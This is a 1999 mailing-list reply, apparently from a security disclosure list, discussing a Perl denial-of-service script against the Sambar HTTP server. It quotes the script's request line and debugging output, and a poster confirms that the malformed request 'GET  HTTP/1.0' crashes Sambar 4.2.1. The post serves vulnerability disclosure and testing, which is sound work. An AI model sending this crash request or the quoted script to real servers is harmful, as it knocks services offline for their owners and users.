Re: Sample DOS against the Sambar HTTP-Server

From: syz (syzat_private)
Date: Sat Oct 09 1999 - 02:08:46 PDT

  • Next message: Mike Richichi: "Re: Win95/98 and Novell client DoS"

    I've tested it on sambar 4.2.1 and it's indeed
    GET  HTTP/1.0 to crash the sambar server.
    
    Steve wrote:
    
    > On Mon, Oct 04, 1999 at 12:58:40AM -0000, Dennis Conrad wrote:
    > > #!/usr/bin/perl
    > >
    > > #########
    > > # Sample DOS against the Sambar HTTP-Server
    > [snip]
    > > print $remote "GET " . "X" x 99999999999999999999 . " HTTP/1.0\n\n";
    >
    > Using that many 9s on my version of Perl fails silently. The above
    > seems equivalent to: print $remote "GET  HTTP/1.0\n\n";
    >
    > steve@grok:/home/steve% perl -e 'print "X"x99999999999999999999;'
    > steve@grok:/home/steve% perl -e 'print "X"x99999999999999999999 || die;'
    > Died at -e line 1.
    > steve@grok:/home/steve% perl -v
    >
    > This is perl, version 5.005_03 built for i386-freebsd
    > [etc.]
    >
    > I don't have a Sambar HTTP server to test against but it seems clear
    > that the code won't work the way the author expected. Perl doesn't
    > even try to build a string that long. If it did it would run out of
    > memory and then fail.
    >
    > I conclude that the script as posted will not DoS the server even if
    > it is vulnerable, unless a simple "GET  HTTP/1.0" triggers the DoS.
    >
    > I suggest that until the nature of the DoS is clarified anyone using
    > the script to test their own server should try it as-is, then try it
    > with fewer 9s (probably 9999 or 99999, maybe more if it's a resource
    > exhaustion DoS).
    



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